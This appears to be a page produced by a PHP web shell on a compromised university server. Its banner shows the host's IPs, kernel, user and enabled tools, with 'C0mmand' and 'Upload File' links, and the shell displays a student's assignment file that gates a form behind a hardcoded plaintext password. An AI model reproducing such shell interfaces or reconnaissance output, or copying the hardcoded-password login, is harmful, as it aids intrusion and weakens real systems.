Server IP : 172.16.15.8 / Your IP : 18.217.246.133 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/vgmiller/www/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- Author: Valerie Miller Instructor: Dr. Wang Due Date: Feb. 20 File Name: sessionSelection4A.php Goal: Creating a login to get access to assignment 2C --> <?php session_start(); $pass = $_POST['pass']; $_SESSION['psw'] = $pass; if($pass != "hw4a") print "go away."; else { ?> <center> <CENTER> <H2> Name and Test Scores Form </H2> <HR> <FORM action=nameAndScoresForm.php method=post> Your first name? <INPUT type=text name=first> <P> Your last name? <INPUT type=text name=last> <P> <P> First Test Score: <INPUT type=text name=t_1> <P> Second Test Score: <INPUT type=text name=t_2> <P> Third Test Score: <INPUT type=text name=t_3> <P> <P> <INPUT type=submit value="Submit Form"> <INPUT type=reset value="Reset Form"> </FORM> </CENTER> <?php } ?>